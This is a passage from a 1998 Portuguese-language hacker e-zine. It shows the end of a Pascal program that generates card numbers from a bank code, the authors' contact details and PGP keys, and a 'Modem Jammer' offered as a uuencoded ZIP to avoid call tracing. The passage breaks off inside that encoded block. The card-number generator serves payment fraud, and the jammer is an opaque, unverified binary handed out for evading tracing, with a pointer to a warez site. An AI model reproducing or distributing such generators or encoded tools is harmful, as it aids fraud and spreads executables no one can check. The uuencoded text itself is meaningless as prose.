    writeln('BANCO INVLIDO!!! O CDIGO DO BANCO DEVE CONTER 3 DGITOS NUMRICOS!!!');
    repeat until keypressed;
    halt;
  end;

  val(banco,aux,erro);
  if erro<>0 then
  begin
    writeln('BANCO INVLIDO!!! O CDIGO DO BANCO DEVE CONTER SOMENTE NUMEROS(3)!');
    repeat until keypressed;
    halt;
  end;
  writeln;
  clrscr;
  write('GERANDO CARTO, AGUARDE.');
  cabecalho:=cartao+banco;
  resultado:=gera;
  writeln;
  writeln;
  textcolor(12);
  write('NUMERO: ');
  textcolor(18);
  writeln(resultado);
  textcolor(12);
  writeln('************************');
  readkey;
  gotoxy(9,3);
  textcolor(2);
  writeln(resultado);
  gotoxy(1,6);

end.

--------------------------- FIM DO CODIGO -------------------------------

   1998, Pensador and Cebola - HackPHR Zine
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


                   11  -  
                  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-





   1998, MaNdRaCk Zine
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


                     12  -  ENTRANDO EM CONTATO
                    -=-=-=-=-=-=-=-=-=-=-=-=-=-=- 

   Se vc quiser comentar sobre uma materia ou alguma coisa assim, mande um
mail para o autor. Se vc nao sabe, no indice e no rodape de cada materia tem
o nome do autor q escreveu, para comentarios gerais sobre o zine, mande para
hacphr@hotmail.com. Use este apenas para comentarios, criticas, sugestoes, e
etc...


            MaNdRaCk: mandrack@geocities.com

            Cebola  : cebola_br@hotmail.com


   Se quiser usar o PGP:



   MaNdRaCk's PUBLIC KEY:

Type Bits/KeyID    Date       User ID
pub  1024/A236997D 1997/10/24 MaNdRaCk <mandrack@usa.net>

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i

mQCNAzRRBvsAAAEEANLxPF+C/i4WsgKCIctJJEIHRKbYlS3+Wl9Zr2+XWEnN4IeF
2bInC3BR+gMGKqVdzo3cWjvyyi/QnrzhR1HmTlkleNlPPbe/TMW1lYasBW66A9G/
vQoUgVCuCbLQUxdRmcNWnXEB6gRewVftCjfNfvXoI11XPopdqPcda8aiNpl9AAUR
tBtNYU5kUmFDayA8bWFuZHJhY2tAdXNhLm5ldD6JAJUDBRA0UQb79x1rxqI2mX0B
AfSwA/4/FAHPxuCSAdTY9Kdul6EKbaYf2tHDNd0NIpNqrjTiJ3oiVaPiQUR6eMlv
ei1CkNFbAe2tRgWIoucUyOjX6ZTijaB9Fd1mBbAuZStuArL9kSGXzkHoEJZYwyRU
dv6DY8s+0C3om3BoF05lVn/mcgnmdsMFs8d+EeXY/R0EzL4RZg==
=tkyG
-----END PGP PUBLIC KEY BLOCK-----


   Cebola's PUBLIC KEY:


-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2i

mQCNAzSgZvwAAAEEAM7Fl1R3Kd8sXY0eWm5H+0XKOBO3g6ifpFaz6G+EVW7jjeMO
hs9qW5Kco0bxHOAb8qfILAq3604MtnjiU/yCpk95ZbKjB7GonNeMQVwlhvdAIzyc
A+FvKBzLegWVUz2g3mEs3K1bq16HQFrg4h/w7wTbh8JYmDAh4g5foeaTuHMRAAUR
tC9GcmVkZXJpY28gV2FnbmVyIE8uIE1lbG8gPGxvcmVuemFAYmhuZXQuY29tLmJy
Pg==
=OV6h
-----END PGP PUBLIC KEY BLOCK-----



   1998, HackPHR Zine
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


                  13  -  BRINDE: MODEM JAMMER (UUENCODED)
                 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 

   Aki estah um programinha chamado Modem Jammer. O q ele faz?? Bom, eu naum
garanto nada q ele funcione, mas ele naum deixa sua ligaao ser rastreada...
   Sei lah, naum confie muito nisso, qquer besteira q vc fizer eh por sua con-
ta...
   Aih vc me pergunta: Mas q diabos eh esse monte de caractere? Calma, eh q
ele estah UUencoded. Tipo, convertivo pra ASCII. Tah, mas como eu fao pra
"decriptar" isso? Muito simples, va ateh: http://www.WarezUniverse.net, e
pegue o UUDECODE, q lah tem pra baixar na seao APPZ.
   Ah, mas eu tou com preguia de ir lah... Bom, entao use o WinZip...
O q vc naum sabia? Tente, vai dar certo, a opao Ctrl + U uuencoda um arquivo
zipped do winzip, pra uudecode, proceda como vc fosse dezipar um arquivo...


_=_ 
_=_ Part 001 of 001 of file JAMMER.ZIP
_=_ 

begin 666 JAMMER.ZIP
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
